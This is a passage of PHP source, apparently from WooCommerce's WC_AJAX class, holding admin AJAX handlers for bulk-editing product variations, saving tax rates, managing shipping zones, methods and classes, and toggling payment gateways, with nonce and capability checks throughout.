); // kept for BW compatibility. include __DIR__ . '/admin/meta-boxes/views/html-variation-admin.php'; $loop++; } } wp_die(); } /** * Save variations via AJAX. */ public static function save_variations() { ob_start(); check_ajax_referer( 'save-variations', 'security' ); // Check permissions again and make sure we have what we need. if ( ! current_user_can( 'edit_products' ) || empty( $_POST ) || empty( $_POST['product_id'] ) ) { wp_die( -1 ); } $product_id = absint( $_POST['product_id'] ); WC_Admin_Meta_Boxes::$meta_box_errors = array(); WC_Meta_Box_Product_Data::save_variations( $product_id, get_post( $product_id ) ); do_action( 'woocommerce_ajax_save_product_variations', $product_id ); $errors = WC_Admin_Meta_Boxes::$meta_box_errors; if ( $errors ) { echo '<div class="error notice is-dismissible">'; foreach ( $errors as $error ) { echo '<p>' . wp_kses_post( $error ) . '</p>'; } echo '<button type="button" class="notice-dismiss"><span class="screen-reader-text">' . esc_html__( 'Dismiss this notice.', 'woocommerce' ) . '</span></button>'; echo '</div>'; delete_option( WC_Admin_Meta_Boxes::ERROR_STORE ); } wp_die(); } /** * Bulk action - Toggle Enabled. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_toggle_enabled( $variations, $data ) { foreach ( $variations as $variation_id ) { $variation = wc_get_product( $variation_id ); $variation->set_status( 'private' === $variation->get_status( 'edit' ) ? 'publish' : 'private' ); $variation->save(); } } /** * Bulk action - Toggle Downloadable Checkbox. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_toggle_downloadable( $variations, $data ) { self::variation_bulk_toggle( $variations, 'downloadable' ); } /** * Bulk action - Toggle Virtual Checkbox. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_toggle_virtual( $variations, $data ) { self::variation_bulk_toggle( $variations, 'virtual' ); } /** * Bulk action - Toggle Manage Stock Checkbox. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_toggle_manage_stock( $variations, $data ) { self::variation_bulk_toggle( $variations, 'manage_stock' ); } /** * Bulk action - Set Regular Prices. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_variable_regular_price( $variations, $data ) { self::variation_bulk_set( $variations, 'regular_price', $data['value'] ); } /** * Bulk action - Set Sale Prices. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_variable_sale_price( $variations, $data ) { self::variation_bulk_set( $variations, 'sale_price', $data['value'] ); } /** * Bulk action - Set Stock Status as In Stock. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_variable_stock_status_instock( $variations, $data ) { self::variation_bulk_set( $variations, 'stock_status', 'instock' ); } /** * Bulk action - Set Stock Status as Out of Stock. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_variable_stock_status_outofstock( $variations, $data ) { self::variation_bulk_set( $variations, 'stock_status', 'outofstock' ); } /** * Bulk action - Set Stock Status as On Backorder. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_variable_stock_status_onbackorder( $variations, $data ) { self::variation_bulk_set( $variations, 'stock_status', 'onbackorder' ); } /** * Bulk action - Set Stock. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_variable_stock( $variations, $data ) { if ( ! isset( $data['value'] ) ) { return; } $quantity = wc_stock_amount( wc_clean( $data['value'] ) ); foreach ( $variations as $variation_id ) { $variation = wc_get_product( $variation_id ); if ( $variation->managing_stock() ) { $variation->set_stock_quantity( $quantity ); } else { $variation->set_stock_quantity( null ); } $variation->save(); } } /** * Bulk action - Set Low Stock Amount. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_variable_low_stock_amount( $variations, $data ) { if ( ! isset( $data['value'] ) ) { return; } $low_stock_amount = wc_stock_amount( wc_clean( $data['value'] ) ); foreach ( $variations as $variation_id ) { $variation = wc_get_product( $variation_id ); if ( $variation->managing_stock() ) { $variation->set_low_stock_amount( $low_stock_amount ); } else { $variation->set_low_stock_amount( '' ); } $variation->save(); } } /** * Bulk action - Set Weight. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_variable_weight( $variations, $data ) { self::variation_bulk_set( $variations, 'weight', $data['value'] ); } /** * Bulk action - Set Length. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_variable_length( $variations, $data ) { self::variation_bulk_set( $variations, 'length', $data['value'] ); } /** * Bulk action - Set Width. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_variable_width( $variations, $data ) { self::variation_bulk_set( $variations, 'width', $data['value'] ); } /** * Bulk action - Set Height. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_variable_height( $variations, $data ) { self::variation_bulk_set( $variations, 'height', $data['value'] ); } /** * Bulk action - Set Download Limit. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_variable_download_limit( $variations, $data ) { self::variation_bulk_set( $variations, 'download_limit', $data['value'] ); } /** * Bulk action - Set Download Expiry. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_variable_download_expiry( $variations, $data ) { self::variation_bulk_set( $variations, 'download_expiry', $data['value'] ); } /** * Bulk action - Delete all. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_delete_all( $variations, $data ) { if ( isset( $data['allowed'] ) && 'true' === $data['allowed'] ) { foreach ( $variations as $variation_id ) { $variation = wc_get_product( $variation_id ); $variation->delete( true ); } } } /** * Bulk action - Sale Schedule. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_variable_sale_schedule( $variations, $data ) { if ( ! isset( $data['date_from'] ) && ! isset( $data['date_to'] ) ) { return; } foreach ( $variations as $variation_id ) { $variation = wc_get_product( $variation_id ); if ( 'false' !== $data['date_from'] ) { $date_on_sale_from = date( 'Y-m-d 00:00:00', strtotime( wc_clean( $data['date_from'] ) ) ); // phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date $variation->set_date_on_sale_from( $date_on_sale_from ); } if ( 'false' !== $data['date_to'] ) { $date_on_sale_to = date( 'Y-m-d 23:59:59', strtotime( wc_clean( $data['date_to'] ) ) ); // phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date $variation->set_date_on_sale_to( $date_on_sale_to ); } $variation->save(); } } /** * Bulk action - Increase Regular Prices. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_variable_regular_price_increase( $variations, $data ) { self::variation_bulk_adjust_price( $variations, 'regular_price', '+', wc_clean( $data['value'] ) ); } /** * Bulk action - Decrease Regular Prices. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_variable_regular_price_decrease( $variations, $data ) { self::variation_bulk_adjust_price( $variations, 'regular_price', '-', wc_clean( $data['value'] ) ); } /** * Bulk action - Increase Sale Prices. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_variable_sale_price_increase( $variations, $data ) { self::variation_bulk_adjust_price( $variations, 'sale_price', '+', wc_clean( $data['value'] ) ); } /** * Bulk action - Decrease Sale Prices. * * @param array $variations List of variations. * @param array $data Data to set. * * @used-by bulk_edit_variations */ private static function variation_bulk_action_variable_sale_price_decrease( $variations, $data ) { self::variation_bulk_adjust_price( $variations, 'sale_price', '-', wc_clean( $data['value'] ) ); } /** * Bulk action - Set Price. * * @param array $variations List of variations. * @param string $field price being adjusted _regular_price or _sale_price. * @param string $operator + or -. * @param string $value Price or Percent. * * @used-by bulk_edit_variations */ private static function variation_bulk_adjust_price( $variations, $field, $operator, $value ) { foreach ( $variations as $variation_id ) { $variation = wc_get_product( $variation_id ); $field_value = $variation->{"get_$field"}( 'edit' ); if ( '%' === substr( $value, -1 ) ) { $percent = wc_format_decimal( substr( $value, 0, -1 ) ); $field_value += NumberUtil::round( ( $field_value / 100 ) * $percent, wc_get_price_decimals() ) * "{$operator}1"; } else { $field_value += $value * "{$operator}1"; } $variation->{"set_$field"}( $field_value ); $variation->save(); } } /** * Bulk set convenience function. * * @param array $variations List of variations. * @param string $field Field to set. * @param string $value to set. */ private static function variation_bulk_set( $variations, $field, $value ) { foreach ( $variations as $variation_id ) { $variation = wc_get_product( $variation_id ); $variation->{ "set_$field" }( wc_clean( $value ) ); $variation->save(); } } /** * Bulk toggle convenience function. * * @param array $variations List of variations. * @param string $field Field to toggle. */ private static function variation_bulk_toggle( $variations, $field ) { foreach ( $variations as $variation_id ) { $variation = wc_get_product( $variation_id ); $prev_value = $variation->{ "get_$field" }( 'edit' ); $variation->{ "set_$field" }( ! $prev_value ); $variation->save(); } } /** * Bulk edit variations via AJAX. * * @uses WC_AJAX::variation_bulk_set() * @uses WC_AJAX::variation_bulk_adjust_price() * @uses WC_AJAX::variation_bulk_action_variable_sale_price_decrease() * @uses WC_AJAX::variation_bulk_action_variable_sale_price_increase() * @uses WC_AJAX::variation_bulk_action_variable_regular_price_decrease() * @uses WC_AJAX::variation_bulk_action_variable_regular_price_increase() * @uses WC_AJAX::variation_bulk_action_variable_sale_schedule() * @uses WC_AJAX::variation_bulk_action_delete_all() * @uses WC_AJAX::variation_bulk_action_variable_download_expiry() * @uses WC_AJAX::variation_bulk_action_variable_download_limit() * @uses WC_AJAX::variation_bulk_action_variable_height() * @uses WC_AJAX::variation_bulk_action_variable_width() * @uses WC_AJAX::variation_bulk_action_variable_length() * @uses WC_AJAX::variation_bulk_action_variable_weight() * @uses WC_AJAX::variation_bulk_action_variable_stock() * @uses WC_AJAX::variation_bulk_action_variable_sale_price() * @uses WC_AJAX::variation_bulk_action_variable_regular_price() * @uses WC_AJAX::variation_bulk_action_toggle_manage_stock() * @uses WC_AJAX::variation_bulk_action_toggle_virtual() * @uses WC_AJAX::variation_bulk_action_toggle_downloadable() * @uses WC_AJAX::variation_bulk_action_toggle_enabled * @uses WC_AJAX::variation_bulk_action_variable_low_stock_amount() */ public static function bulk_edit_variations() { ob_start(); check_ajax_referer( 'bulk-edit-variations', 'security' ); // Check permissions again and make sure we have what we need. if ( ! current_user_can( 'edit_products' ) || empty( $_POST['product_id'] ) || empty( $_POST['bulk_action'] ) ) { wp_die( -1 ); } $product_id = absint( $_POST['product_id'] ); $bulk_action = wc_clean( wp_unslash( $_POST['bulk_action'] ) ); $data = ! empty( $_POST['data'] ) ? wc_clean( wp_unslash( $_POST['data'] ) ) : array(); $variations = array(); if ( apply_filters( 'woocommerce_bulk_edit_variations_need_children', true ) ) { $variations = get_posts( array( 'post_parent' => $product_id, 'posts_per_page' => -1, 'post_type' => 'product_variation', 'fields' => 'ids', 'post_status' => array( 'publish', 'private' ), ) ); } if ( method_exists( __CLASS__, "variation_bulk_action_$bulk_action" ) ) { call_user_func( array( __CLASS__, "variation_bulk_action_$bulk_action" ), $variations, $data ); } else { do_action( 'woocommerce_bulk_edit_variations_default', $bulk_action, $data, $product_id, $variations ); } do_action( 'woocommerce_bulk_edit_variations', $bulk_action, $data, $product_id, $variations ); WC_Product_Variable::sync( $product_id ); wc_delete_product_transients( $product_id ); wp_die(); } /** * Handle submissions from assets/js/settings-views-html-settings-tax.js Backbone model. */ public static function tax_rates_save_changes() { // phpcs:disable WordPress.Security.NonceVerification.Missing if ( ! isset( $_POST['wc_tax_nonce'], $_POST['changes'] ) ) { wp_send_json_error( 'missing_fields' ); wp_die(); } $current_class = ! empty( $_POST['current_class'] ) ? wp_unslash( $_POST['current_class'] ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized if ( ! wp_verify_nonce( wp_unslash( $_POST['wc_tax_nonce'] ), 'wc_tax_nonce-class:' . $current_class ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized wp_send_json_error( 'bad_nonce' ); wp_die(); } $current_class = WC_Tax::format_tax_rate_class( $current_class ); // Check User Caps. if ( ! current_user_can( 'manage_woocommerce' ) ) { wp_send_json_error( 'missing_capabilities' ); wp_die(); } $changes = wp_unslash( $_POST['changes'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized foreach ( $changes as $tax_rate_id => $data ) { if ( isset( $data['deleted'] ) ) { if ( isset( $data['newRow'] ) ) { // So the user added and deleted a new row. // That's fine, it's not in the database anyways. NEXT! continue; } WC_Tax::_delete_tax_rate( $tax_rate_id ); } $tax_rate = array_intersect_key( $data, array( 'tax_rate_country' => 1, 'tax_rate_state' => 1, 'tax_rate' => 1, 'tax_rate_name' => 1, 'tax_rate_priority' => 1, 'tax_rate_compound' => 1, 'tax_rate_shipping' => 1, 'tax_rate_order' => 1, ) ); if ( isset( $tax_rate['tax_rate'] ) ) { $tax_rate['tax_rate'] = wc_format_decimal( $tax_rate['tax_rate'] ); } if ( isset( $data['newRow'] ) ) { $tax_rate['tax_rate_class'] = $current_class; $tax_rate_id = WC_Tax::_insert_tax_rate( $tax_rate ); } elseif ( ! empty( $tax_rate ) ) { WC_Tax::_update_tax_rate( $tax_rate_id, $tax_rate ); } if ( isset( $data['postcode'] ) ) { $postcode = array_map( 'wc_clean', $data['postcode'] ); $postcode = array_map( 'wc_normalize_postcode', $postcode ); WC_Tax::_update_tax_rate_postcodes( $tax_rate_id, $postcode ); } if ( isset( $data['city'] ) ) { WC_Tax::_update_tax_rate_cities( $tax_rate_id, array_map( 'wc_clean', array_map( 'wp_unslash', $data['city'] ) ) ); } } WC_Cache_Helper::invalidate_cache_group( 'taxes' ); WC_Cache_Helper::get_transient_version( 'shipping', true ); wp_send_json_success( array( 'rates' => WC_Tax::get_rates_for_tax_class( $current_class ), ) ); // phpcs:enable } /** * Handle submissions from assets/js/wc-shipping-zones.js Backbone model. */ public static function shipping_zones_save_changes() { if ( ! isset( $_POST['wc_shipping_zones_nonce'], $_POST['changes'] ) ) { wp_send_json_error( 'missing_fields' ); wp_die(); } if ( ! wp_verify_nonce( wp_unslash( $_POST['wc_shipping_zones_nonce'] ), 'wc_shipping_zones_nonce' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized wp_send_json_error( 'bad_nonce' ); wp_die(); } // Check User Caps. if ( ! current_user_can( 'manage_woocommerce' ) ) { wp_send_json_error( 'missing_capabilities' ); wp_die(); } $changes = wp_unslash( $_POST['changes'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized foreach ( $changes as $zone_id => $data ) { if ( isset( $data['deleted'] ) ) { if ( isset( $data['newRow'] ) ) { // So the user added and deleted a new row. // That's fine, it's not in the database anyways. NEXT! continue; } /** * Notify that a non-option setting has been deleted. * * @since 7.8.0 */ do_action( 'woocommerce_update_non_option_setting', array( 'id' => 'shipping_zone', 'action' => 'delete', ) ); WC_Shipping_Zones::delete_zone( $zone_id ); continue; } $zone_data = array_intersect_key( $data, array( 'zone_id' => 1, 'zone_order' => 1, ) ); if ( isset( $zone_data['zone_id'] ) ) { $zone = new WC_Shipping_Zone( $zone_data['zone_id'] ); if ( isset( $zone_data['zone_order'] ) ) { /** * Notify that a non-option setting has been updated. * * @since 7.8.0 */ do_action( 'woocommerce_update_non_option_setting', array( 'id' => 'zone_order', ) ); $zone->set_zone_order( $zone_data['zone_order'] ); } $zone->save(); } } global $current_tab; $current_tab = 'shipping'; /** * Completes the saving process for options. * * @since 7.8.0 */ do_action( 'woocommerce_update_options' ); wp_send_json_success( array( 'zones' => WC_Shipping_Zones::get_zones( 'json' ), ) ); } /** * Handle submissions from assets/js/wc-shipping-zone-methods.js Backbone model. */ public static function shipping_zone_add_method() { if ( ! isset( $_POST['wc_shipping_zones_nonce'], $_POST['zone_id'], $_POST['method_id'] ) ) { wp_send_json_error( 'missing_fields' ); wp_die(); } if ( ! wp_verify_nonce( wp_unslash( $_POST['wc_shipping_zones_nonce'] ), 'wc_shipping_zones_nonce' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized wp_send_json_error( 'bad_nonce' ); wp_die(); } // Check User Caps. if ( ! current_user_can( 'manage_woocommerce' ) ) { wp_send_json_error( 'missing_capabilities' ); wp_die(); } $zone_id = wc_clean( wp_unslash( $_POST['zone_id'] ) ); $zone = new WC_Shipping_Zone( $zone_id ); // A shipping zone can be created here if the user is adding a method without first saving the shipping zone. if ( '' === $zone_id ) { /** * Notified that a non-option setting has been added. * * @since 7.8.0 */ do_action( 'woocommerce_update_non_option_setting', array( 'id' => 'shipping_zone', 'action' => 'add', ) ); } /** * Notify that a non-option setting has been added. * * @since 7.8.0 */ do_action( 'woocommerce_update_non_option_setting', array( 'id' => 'zone_method', 'action' => 'add', ) ); $instance_id = $zone->add_shipping_method( wc_clean( wp_unslash( $_POST['method_id'] ) ) ); global $current_tab; $current_tab = 'shipping'; /** * Completes the saving process for options. * * @since 7.8.0 */ do_action( 'woocommerce_update_options' ); wp_send_json_success( array( 'instance_id' => $instance_id, 'zone_id' => $zone->get_id(), 'zone_name' => $zone->get_zone_name(), 'methods' => $zone->get_shipping_methods( false, 'json' ), ) ); } /** * Handle submissions from assets/js/wc-shipping-zone-methods.js Backbone model. */ public static function shipping_zone_remove_method() { if ( ! isset( $_POST['wc_shipping_zones_nonce'], $_POST['instance_id'], $_POST['zone_id'] ) ) { wp_send_json_error( 'missing_fields' ); wp_die(); } if ( ! wp_verify_nonce( wp_unslash( $_POST['wc_shipping_zones_nonce'] ), 'wc_shipping_zones_nonce' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized wp_send_json_error( 'bad_nonce' ); wp_die(); } // Check User Caps. if ( ! current_user_can( 'manage_woocommerce' ) ) { wp_send_json_error( 'missing_capabilities' ); wp_die(); } $zone_id = wc_clean( wp_unslash( $_POST['zone_id'] ) ); $zone = new WC_Shipping_Zone( $zone_id ); $instance_id = wc_clean( wp_unslash( $_POST['instance_id'] ) ); /** * Notify that a non-option setting has been updated. * * @since 7.8.0 */ do_action( 'woocommerce_update_non_option_setting', array( 'id' => $instance_id, ) ); if ( ! $zone->delete_shipping_method( $instance_id ) ) { wp_send_json_error( 'missing_shipping_method_instance_id' ); wp_die(); } global $current_tab; $current_tab = 'shipping'; /** * Completes the saving process for options. * * @since 7.8.0 */ do_action( 'woocommerce_update_options' ); wp_send_json_success( array( 'instance_id' => $instance_id, 'methods' => $zone->get_shipping_methods( false, 'json' ), ) ); } /** * Handle submissions from assets/js/wc-shipping-zone-methods.js Backbone model. */ public static function shipping_zone_methods_save_changes() { if ( ! isset( $_POST['wc_shipping_zones_nonce'], $_POST['zone_id'], $_POST['changes'] ) ) { wp_send_json_error( 'missing_fields' ); wp_die(); } if ( ! wp_verify_nonce( wp_unslash( $_POST['wc_shipping_zones_nonce'] ), 'wc_shipping_zones_nonce' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized wp_send_json_error( 'bad_nonce' ); wp_die(); } if ( ! current_user_can( 'manage_woocommerce' ) ) { wp_send_json_error( 'missing_capabilities' ); wp_die(); } global $wpdb; $zone_id = wc_clean( wp_unslash( $_POST['zone_id'] ) ); $zone = new WC_Shipping_Zone( $zone_id ); // A shipping zone can be created here if the user is adding a method without first saving the shipping zone. if ( '' === $zone_id ) { /** * Notifies that a non-option setting has been added. * * @since 7.8.0 */ do_action( 'woocommerce_update_non_option_setting', array( 'id' => 'shipping_zone', 'action' => 'add', ) ); } $changes = wp_unslash( $_POST['changes'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized if ( isset( $changes['zone_name'] ) ) { /** * Notifies that a non-option setting has been updated. * * @since 7.8.0 */ do_action( 'woocommerce_update_non_option_setting', array( 'id' => 'zone_name' ) ); $zone->set_zone_name( wc_clean( $changes['zone_name'] ) ); } if ( isset( $changes['zone_locations'] ) ) { /** * Notifies that a non-option setting has been updated. * * @since 7.8.0 */ do_action( 'woocommerce_update_non_option_setting', array( 'id' => 'zone_locations' ) ); $zone->clear_locations( array( 'state', 'country', 'continent' ) ); $locations = array_filter( array_map( 'wc_clean', (array) $changes['zone_locations'] ) ); foreach ( $locations as $location ) { // Each posted location will be in the format type:code. $location_parts = explode( ':', $location ); switch ( $location_parts[0] ) { case 'state': $zone->add_location( $location_parts[1] . ':' . $location_parts[2], 'state' ); break; case 'country': $zone->add_location( $location_parts[1], 'country' ); break; case 'continent': $zone->add_location( $location_parts[1], 'continent' ); break; } } } if ( isset( $changes['zone_postcodes'] ) ) { /** * Notifies that a non-option setting has been updated. * * @since 7.8.0 */ do_action( 'woocommerce_update_non_option_setting', array( 'id' => 'zone_postcodes' ) ); $zone->clear_locations( 'postcode' ); $postcodes = array_filter( array_map( 'strtoupper', array_map( 'wc_clean', explode( "\n", $changes['zone_postcodes'] ) ) ) ); foreach ( $postcodes as $postcode ) { $zone->add_location( $postcode, 'postcode' ); } } if ( isset( $changes['methods'] ) ) { foreach ( $changes['methods'] as $instance_id => $data ) { $method_id = $wpdb->get_var( $wpdb->prepare( "SELECT method_id FROM {$wpdb->prefix}woocommerce_shipping_zone_methods WHERE instance_id = %d", $instance_id ) ); if ( isset( $data['deleted'] ) ) { $shipping_method = WC_Shipping_Zones::get_shipping_method( $instance_id ); $option_key = $shipping_method->get_instance_option_key(); if ( $wpdb->delete( "{$wpdb->prefix}woocommerce_shipping_zone_methods", array( 'instance_id' => $instance_id ) ) ) { delete_option( $option_key ); /** * Notifies that a non-option setting has been deleted. * * @since 7.8.0 */ do_action( 'woocommerce_update_non_option_setting', array( 'id' => 'zone_method', 'action' => 'delete', ) ); do_action( 'woocommerce_shipping_zone_method_deleted', $instance_id, $method_id, $zone_id ); } continue; } $method_data = array_intersect_key( $data, array( 'method_order' => 1, 'enabled' => 1, ) ); if ( isset( $method_data['method_order'] ) ) { /** * Notifies that a non-option setting has been updated. * * @since 7.8.0 */ do_action( 'woocommerce_update_non_option_setting', array( 'id' => 'zone_methods_order' ) ); $wpdb->update( "{$wpdb->prefix}woocommerce_shipping_zone_methods", array( 'method_order' => absint( $method_data['method_order'] ) ), array( 'instance_id' => absint( $instance_id ) ) ); } if ( isset( $method_data['enabled'] ) ) { /** * Notifies that a non-option setting has been updated. * * @since 7.8.0 */ do_action( 'woocommerce_update_non_option_setting', array( 'id' => 'zone_methods_enabled' ) ); $is_enabled = absint( 'yes' === $method_data['enabled'] ); if ( $wpdb->update( "{$wpdb->prefix}woocommerce_shipping_zone_methods", array( 'is_enabled' => $is_enabled ), array( 'instance_id' => absint( $instance_id ) ) ) ) { do_action( 'woocommerce_shipping_zone_method_status_toggled', $instance_id, $method_id, $zone_id, $is_enabled ); } } } } $zone->save(); global $current_tab; $current_tab = 'shipping'; /** * Completes the saving process for options. * * @since 7.8.0 */ do_action( 'woocommerce_update_options' ); wp_send_json_success( array( 'zone_id' => $zone->get_id(), 'zone_name' => $zone->get_zone_name(), 'methods' => $zone->get_shipping_methods( false, 'json' ), ) ); } /** * Save method settings */ public static function shipping_zone_methods_save_settings() { if ( ! isset( $_POST['wc_shipping_zones_nonce'], $_POST['instance_id'], $_POST['data'] ) ) { wp_send_json_error( 'missing_fields' ); wp_die(); } if ( ! wp_verify_nonce( wp_unslash( $_POST['wc_shipping_zones_nonce'] ), 'wc_shipping_zones_nonce' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized wp_send_json_error( 'bad_nonce' ); wp_die(); } if ( ! current_user_can( 'manage_woocommerce' ) ) { wp_send_json_error( 'missing_capabilities' ); wp_die(); } $instance_id = absint( $_POST['instance_id'] ); $zone = WC_Shipping_Zones::get_zone_by( 'instance_id', $instance_id ); $shipping_method = WC_Shipping_Zones::get_shipping_method( $instance_id ); /** * Notify that a non-option setting has been updated. * * @since 7.8.0 */ do_action( 'woocommerce_update_non_option_setting', array( 'id' => 'zone_method_settings' ) ); $shipping_method->set_post_data( wp_unslash( $_POST['data'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized global $current_tab; $current_tab = 'shipping'; /** * Completes the saving process for options. * * @since 7.8.0 */ do_action( 'woocommerce_update_options' ); $shipping_method->process_admin_options(); WC_Cache_Helper::get_transient_version( 'shipping', true ); wp_send_json_success( array( 'zone_id' => $zone->get_id(), 'zone_name' => $zone->get_zone_name(), 'methods' => $zone->get_shipping_methods( false, 'json' ), 'errors' => $shipping_method->get_errors(), ) ); } /** * Handle submissions from assets/js/wc-shipping-classes.js Backbone model. */ public static function shipping_classes_save_changes() { if ( ! isset( $_POST['wc_shipping_classes_nonce'], $_POST['changes'] ) ) { wp_send_json_error( 'missing_fields' ); wp_die(); } if ( ! wp_verify_nonce( wp_unslash( $_POST['wc_shipping_classes_nonce'] ), 'wc_shipping_classes_nonce' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized wp_send_json_error( 'bad_nonce' ); wp_die(); } if ( ! current_user_can( 'manage_woocommerce' ) ) { wp_send_json_error( 'missing_capabilities' ); wp_die(); } $changes = wp_unslash( $_POST['changes'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized foreach ( $changes as $term_id => $data ) { $term_id = absint( $term_id ); if ( isset( $data['deleted'] ) ) { if ( isset( $data['newRow'] ) ) { // So the user added and deleted a new row. // That's fine, it's not in the database anyways. NEXT! continue; } /** * Notifies that a non-option setting has been deleted. * * @since 7.8.0 */ do_action( 'woocommerce_update_non_option_setting', array( 'id' => 'shipping_class', 'action' => 'delete', ) ); wp_delete_term( $term_id, 'product_shipping_class' ); continue; } $update_args = array(); if ( isset( $data['name'] ) ) { /** * Notify that a non-option setting has been updated. * * @since 7.8.0 */ do_action( 'woocommerce_update_non_option_setting', array( 'id' => 'shipping_class_name' ) ); $update_args['name'] = wc_clean( $data['name'] ); } if ( isset( $data['slug'] ) ) { /** * Notify that a non-option setting has been updated. * * @since 7.8.0 */ do_action( 'woocommerce_update_non_option_setting', array( 'id' => 'shipping_class_slug' ) ); $update_args['slug'] = wc_clean( $data['slug'] ); } if ( isset( $data['description'] ) ) { /** * Notify that a non-option setting has been updated. * * @since 7.8.0 */ do_action( 'woocommerce_update_non_option_setting', array( 'id' => 'shipping_class_description' ) ); $update_args['description'] = wc_clean( $data['description'] ); } if ( isset( $data['newRow'] ) ) { $update_args = array_filter( $update_args ); if ( empty( $update_args['name'] ) ) { continue; } /** * Notifies that a non-option setting has been added. * * @since 7.8.0 */ do_action( 'woocommerce_update_non_option_setting', array( 'id' => 'shipping_class', 'action' => 'add', ) ); $inserted_term = wp_insert_term( $update_args['name'], 'product_shipping_class', $update_args ); $term_id = is_wp_error( $inserted_term ) ? 0 : $inserted_term['term_id']; } else { /** * Notifies that a non-option setting has been updated. * * @since 7.8.0 */ do_action( 'woocommerce_update_non_option_setting', array( 'id' => 'shipping_class' ) ); wp_update_term( $term_id, 'product_shipping_class', $update_args ); } do_action( 'woocommerce_shipping_classes_save_class', $term_id, $data ); } global $current_tab, $current_section; $current_tab = 'shipping'; $current_section = 'classes'; /** * Completes the saving process for options. * * @since 7.8.0 */ do_action( 'woocommerce_update_options' ); $wc_shipping = WC_Shipping::instance(); wp_send_json_success( array( 'shipping_classes' => $wc_shipping->get_shipping_classes(), ) ); } /** * Toggle payment gateway on or off via AJAX. * * @since 3.4.0 */ public static function toggle_gateway_enabled() { if ( current_user_can( 'manage_woocommerce' ) && check_ajax_referer( 'woocommerce-toggle-payment-gateway-enabled', 'security' ) && isset( $_POST['gateway_id'] ) ) { // Set current tab. $referer = wp_get_referer(); if ( $referer ) { global $current_tab; parse_str( wp_parse_url( $referer, PHP_URL_QUERY ), $queries ); $current_tab = $queries['tab'] ?? ''; } // Load gateways. $payment_gateways = WC()->payment_gateways->payment_gateways(); // Get posted gateway. $gateway_id = wc_clean( wp_unslash( $_POST['gateway_id'] ) ); foreach ( $payment_gateways as $gateway ) { if ( ! in_array( $gateway_id, array( $gateway->id, sanitize_title( get_class( $gateway ) ) ), true ) ) { continue; } $enabled = $gateway->get_option( 'enabled', 'no' ); $option = array( 'id' => $gateway->get_option_key(), ); if ( ! wc_string_to_bool( $enabled ) ) { if ( $gateway->needs_setup() ) { wp_send_json_error( 'needs_setup' ); wp_die(); } else { do_action( 'woocommerce_update_option', $option ); $gateway->update_option( 'enabled', 'yes' ); } } else { do_action( 'woocommerce_update_option', $option ); // Disable the gateway. $gateway->update_option( 'enabled', 'no' ); } do_action( 'woocommerce_update_options' ); wp_send_json_success( ! wc_string_to_bool( $enabled ) ); wp_die(); } } wp_send_json_error( 'invalid_gateway_id' ); wp_die(); } /** * Reimplementation of WP core's `wp_ajax_add_meta` method to support order custom meta updates with custom tables. */ private static function order_add_meta() { wc_get_container()->get( CustomMetaBox::class )->add_meta_ajax(); } /** * Reimplementation of WP core's `wp_ajax_delete_meta` method to support order custom meta updates with custom tables. * * @return void */ private static function order_delete_meta() : void { wc_get_container()->get( CustomMetaBox::class )->delete_meta_ajax(); } /** * Hooked to 'heartbeat_received' on the edit order page to refresh the lock on an order being edited by the current user. * * @param array $response The heartbeat response to be sent. * @param array $data Data sent through the heartbeat. * @return array Response to be sent. */ private static function order_refresh_lock( $response, $data ) { return wc_get_container()->get( 